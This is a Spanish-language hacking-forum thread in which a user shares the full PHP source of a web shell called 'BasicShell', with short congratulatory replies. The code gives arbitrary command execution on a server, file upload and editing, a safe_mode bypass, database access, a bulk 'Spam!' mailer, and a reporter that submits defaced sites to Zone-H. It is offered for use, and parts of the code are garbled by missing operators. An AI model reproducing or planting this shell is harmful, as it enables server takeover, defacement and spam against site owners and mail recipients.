Underc0de

[In]Seguridad Informática => Bugs y Exploits => Shells => Mensaje iniciado por: Okol en Enero 16, 2013, 05:09:29 PM

Título: Okol BasicShell v1
Publicado por: Okol en Enero 16, 2013, 05:09:29 PM
Hola amigos, espero se encuentren bien.
he estado trabajando en esté proyecto alrededor de tres días, es una shell (Basica).
espero la disfruten y pues cualquier cosa pueden decirla.

Funciones:

-Subir archivos
-Eliminar, crear y modificar archivos.
-Ejecución de comandos en el sistema.
-Bypass Safemode
-Listado de archivos en el directorio.
-Mysql query's
-Encriptar y desencriptar en base64
-Encriptar en MD5
-Zone-h Reporter
-Mailer.

*El servidor no debe tener desactivada la función system()

Espero les pueda servir para algo.
Saludos comunidad.

Source:
Código (php) [Seleccionar]
<title>BasicShell</title>
<h1>BasicShell Okol</h1>
<font size="2" color="red">Uname</font><font size="2" color="gray"> <?php system('uname -a'); ?></font><br />
<font size="2" color="red">usuario</font><font size="2" color="gray"> <?php system('id'); ?></font><br />
<font size="2" color="red">PHP Version</font><font size="2" color="gray"> <?php echo phpversion();?></font><br />
<font size="2" color="red">Tu IP</font><font size="2" color="gray"> <?php ECHO $_SERVER['REMOTE_ADDR']; ?></font><br />
<font size="2" color="red">Safe Mode</font><font size="2" color="gray"> <?php $safe_mode = @ini_get('safe_mode')?'<font color="red">ON</font>':'<font color="green">OFF</font>'; echo $safe_mode?></font><br /><br />
<font size="2">
<style type="text/css">
input[type='text'] { color: red; width:100px;height:20px;background-color:gray;color:yellow;font-size:10pt; font-family:Verdana;text-align:center}
</style>
<style type="text/css">
textarea{ color: red;width:350px;height:150px;font-size:12px;font-family:Helvetica;background-color:gray;color:yellow;}
</style>
<style type="text/css">
input[type='submit'] { color: red; width:100px;height:20px;background-color:red;color:yellow;font-size:7pt; font-family:Verdana;text-align:center}

</style>
<style type="text/css">
            body { background-color: #000; color: #F80; text-align: center;size:12px; }
            img { width: 18px; height: 18px; }
           
            a { color: #000; text-decoration: none; font-family:Helvetica; size: 9px; }
            td { padding-left: 20px; text-align: justify; }
        </style>
<form action="<?php basename($_SERVER['PHP_SELF']);  ?>" method="post" enctype="multipart/form-data">
 
    <h3>Enviar un nuevo archivo: </h3>
    <br>
    <input name="userfile" type="file">
    <br>
    <input type="submit" value="Enviar" name="subir">
    </form>
<h3>eliminar archivo<br />

<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <input type="text" name="archivoaeliminar">
    <input type="submit" value="Eliminar">

<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Comando a ejecutar</h3><br />
    <input type="text"  name="ejec"><br />
    <input type="submit" value="Ejecutar"><br />
</form>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Bypass Safemode</h3><br>
    <input type="submit" name="safemode" value="Bypass safemode">

</form>
<?php
echo '<h3>Los archivos en el directorio son:</h3><br>';
#Listado de archivos
if ($gestor opendir('.')) {
    while (
false !== ($entrada readdir($gestor))) {
        if (
$entrada != "." && $entrada != "..") {
            echo 
'<pre>';
            echo 
"$entrada\n";
            echo 
'</pre>';
        }
    }
    
closedir($gestor);
}
?>

<h3>Modificar un archivo existente:</h3>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    Nombre de archivo a modificar:<br>
    <input type="text" name="archmod" value="index.php" >
    <input type="submit" name="modificar" value="Abrir archivo"><br><br>
    Codigo<br>
    <textarea name="contenido" cols="80" rows="15">
         <?php
        
if(isset($_POST['archmod']) && $_POST['archmod'] != "")
        {
            echo 
abrirarchivo($_POST['archmod']); 
        }
        
?>

    </textarea><br />
    <input type="submit" name="modificar" value="Guardar cambios"><br>
</form>
<h3>Crear archivo:</h3><br><br>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    Nombre del archivo<br />
    <input type="text" name="archivo"><br /><br>
    Codigo<br />
    <textarea name="contenido2" cols="60" rows="15"></textarea><br />
    <input type="submit" value="crear" name="Mod"><br />
</form>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    <h3>Sentencias Mysql</h3><br>
    Host:<input type="text" name="host">
    User:<input type="text" name="user">
    Password:<input type="text" name="password"><br>
    DB:<input type="text" name="database">
    Query: <input type="text" name="query">
    <input type="submit" value="Ejecutar" name="mysqlsentencia">
</form>
<h3>Cifrar y Descifrar</h3>
<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a Desencriptar:<br>
     <input type="text" name="decript64"><br>
     <input type="submit" value="Desencriptar">
     </form>

<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a encriptar:<br>
     <input type="text" name="encript64"><br>
     <input type="submit" value="Encriptar"><br /><br />
     </form>

     <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
        Encriptar en MD5<br />
        <input type="text" name="md5en">
        <input type="submit" value="encriptar"><br>
    </form>
<h3>Zone-H Reporter</h3>
    <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
    url1:<br><input type="text" name="report" value="http://"><br>
url2:<br><input type="text" name="report1" value="http://"><br>
url3:<br><input type="text" name="report2" value="http://"><br>
url4:<br><input type="text" name="report3" value="http://"><br>
url5:<br><input type="text" name="report4" value="http://"><br>
url6:<br><input type="text" name="report5" value="http://"><br>
url7:<br><input type="text" name="report6" value="http://"><br>
url8:<br><input type="text" name="report7" value="http://"><br>
url9:<br><input type="text" name="report8" value="http://"><br>
url10:<br><input type="text" name="report9" value="http://"><br>
    nick: <br><input type="text" name="nick"><br>
   
    <input type="submit" value="Reportar">
    </form></center>
<h3>Mailer</h3>
    <form method="post" action="<?php basename($_SERVER['PHP_SELF']) ?>">
        Desde:<input type="text"name="from"><br /><br />
        Asunto<input type="text"name="asunto"><br /><br />
        Numero De Mensajes<input type="text"name="num"><br /><br />
        Para:<textarea name="para"></textarea><br>
        [*]Si son varios mails separalos por coma...<br><br />
        Contenido:<TEXTAREA name="cont"></TEXTAREA><br>
        <center><input type="submit" value="Spam!" name="spam"><br /></center>
    </form>
<?php
@set_magic_quotes_runtime(0);
#Ejecutar comando
function ejecutaros(){
    echo 
'<textarea cols="70" rows="10">';
    
$ejec = @system($_POST['ejec']);
    echo 
'</textarea>';
}
#crear archivo
function crear(){
    
$contenido $_POST['contenido2'];
    
$nombre $_POST['archivo'];
    
$crear = @fopen($nombre,'w+');
    @
fwrite($crear$contenido);
    @
fclose($crear);
    echo 
'El archivo se ha creado correctamente.';
}
#Bypass safe mode
function bysafemode(){
    
$sacrear fopen("php.ini",'w+');
    
fwrite($sacrear'safe_mode = Off ');
    
fclose($sacrear);
    
system('chmod 777 php.ini');
}
#Subir archivo
function subir(){
$allowed_ext "rar,jpg,php,png,txt,html,zip,pl,py,mp3,c";  
$overwrite "no"
$match ""
$filesize $_FILES['userfile']['size']; 
$filename strtolower($_FILES['userfile']['name']); 

if(
$filesize 1){ 
   @
$error .= "- Archivo vacío.<br>";
}
$file_ext preg_split("/\./",$filename); 
$allowed_ext preg_split("/\,/",$allowed_ext); 
foreach(
$allowed_ext as $ext){
   if(
$ext==$file_ext[1]) $match "1"
}
if(@
$error){
   print 
"Se ha producido el siguiente error al subir el archivo:<br> $error"
}else{
   if(
move_uploaded_file($_FILES['userfile']['tmp_name'], $filename)){ 
      print 
"<b>$filename</b> se ha subido correctamente!"
   }
}
}
#Mysql Query
function mysqlsen(){
    
$host $_POST['host'];
    
$user $_POST['user'];
    
$pass $_POST['password'];
    
$query $_POST['query'];
    
$db $_POST['database'];
    
$con mysql_connect($host$user$pass);
    echo 
mysql_error()?"Error: " mysql_error():"Conectado con exito\n";
                
mysql_select_db($db$con);
                    echo 
mysql_error()?"Error: " mysql_error():"DB seleccionada con exito\n\n";
                
$resultado mysql_query($query);
if(
$result)
                {
                    while(
$line mysql_fetch_array($result,MYSQL_ASSOC))
                    {
                        
print_r ($line);
                    }
                }
                
//while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row);  
                //mysql_free_result($result);
                //die;
            
}

function 
abrirarchivo($arc)
{
     
$archivo = @file_get_contents($arc);
     
$archivo ucfirst($archivo);
     return 
htmlentities(@$archivo);
}
#encript b64
function base64en(){
     
$encript base64_encode($_POST['encript64']);
     echo 
$encript;
}

#Decript b64
function base64de(){
    
$decript base64_decode($_POST['decript64']);
    echo 
$decript;
}

#encript Md5
function md5encript(){
    
$encriptmd5 md5($_POST['md5en']);
    echo 
$encriptmd5;
}

#Eliminar archivos
function eliminararch(){
$eliminar $_POST['archivoaeliminar'];
@
unlink($eliminar);
}

if(isset(
$_POST['contenido2'])){
    
crear();
}
if(isset(
$_POST['ejec'])){
    
ejecutaros();
}
if(isset(
$_POST['safemode'])){
    
bysafemode();
}
if(isset(
$_POST['subir'])){
    
subir();
}
if(isset(
$_POST['mysqlsentencia'])){
    
mysqlsen();
}
if(isset(
$_POST['encript64'])){
    
base64en();
}
if(isset(
$_POST['decript64'])){
    
base64de();
}
if(isset(
$_POST['md5en'])){
    
md5encript();
}
if(isset(
$_POST['archivoaeliminar'])){
    
eliminararch();
}
     
    
    if(isset(
$_POST['report']))
    {
    @
$defacer htmlentities($_POST['nick']);
    @
$url htmlentities($_POST['report']);
    @
$url2 htmlentities($_POST['report1']);
    @
$url3 htmlentities($_POST['report2']);
    @
$url4 htmlentities($_POST['report3']);
    @
$url5 htmlentities($_POST['report4']);
    @
$url6 htmlentities($_POST['report5']);
    @
$url7 htmlentities($_POST['report6']);
    @
$url8 htmlentities($_POST['report7']);
    @
$url9 htmlentities($_POST['report8']);
    @
$url10 htmlentities($_POST['report9']);
    function 
ReportarSuperCaker($url,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9,$url10,$defacer,$modohackeo,$rason)
    {  
     
    
$ch curl_init("http://zone-h.com/notify/mass");
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS"defacer=$defacer&domain1=$url&domain2=$url2&domain3=$url3&domain4=$url4&domain5=$url5&domain6=$url6&domain7=$url7&domain8=$url8&domain9=$url9&domain10=$url10&hackmode=$modohackeo&reason=$rason");
    
curl_exec($ch);
    
curl_close($ch);
    }
     
    
ReportarSuperCaker("$url","$url2","$url3","$url4","$url5","$url6","$url7","$url8","$url9","$url10","$defacer","6","7");
     
    }
     if(isset(
$_POST['spam'])){
$desde $_POST['from'];
$para$_POST['para'];
$cont$_POST['cont'];
$asunto$_POST['asunto'];
$numsj$_POST['num'];
$lol=0;
while(
$lol $numsj){
    
$lol=$lol 1;
mail($para,$asunto,$cont,'From:'.$desde);
                    }
if(
mail($para,$asunto,$cont,'From:'.$desde))
{
    echo
'<>Enviado Correctamente!<br>';

}else{
    echo 
'<center>No se pudo enviar el mensaje<br>';
}
}
 
?>

<font size="2" color="gray">By Okol twitter: @Okoltutos | HackxCrack | Underc0de | StrikeGeek | Greetz: all my friends</font>
Título: Re:Okol BasicShell v1
Publicado por: Sanko en Enero 16, 2013, 05:36:40 PM
Dalee
Título: Re:Okol BasicShell v1
Publicado por: Turka en Enero 16, 2013, 06:21:47 PM
Bien amigo, veo que vas progresando en PHP :) yo tmb habia programado una hace unos años, aprendaras mucho con eso ve mejorandola, cualquier cosa me tienes en el skype ;)
Título: Re:Okol BasicShell v1
Publicado por: Okol en Enero 16, 2013, 06:29:08 PM
Ya estas turkita :'3
un abrazo amiga.
Título: Re:Okol BasicShell v1
Publicado por: k0ws en Enero 16, 2013, 08:32:37 PM
Te ha quedao de PTM bro, sigue asi  ;D

-Saludos-